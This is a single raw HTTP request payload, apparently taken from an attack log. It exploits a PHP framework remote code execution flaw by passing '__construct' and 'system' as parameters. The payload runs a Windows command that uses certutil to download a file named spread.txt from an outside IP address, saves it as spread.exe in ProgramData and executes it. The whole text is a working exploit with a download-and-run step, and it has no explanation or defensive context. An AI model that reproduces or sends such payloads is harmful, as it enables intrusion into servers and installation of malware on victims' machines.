_method= __construct&filter[]=system&method=get&get[]=cmd.exe+%2Fc+certutil+-urlcache+-split+-f+http%3A%2F%2F26.168.14.104%3A19490%2Fspread.txt+C%3A%5CProgramData%5Cspread.exe+%26%26+C%3A%5CProgramData%5Cspread.exe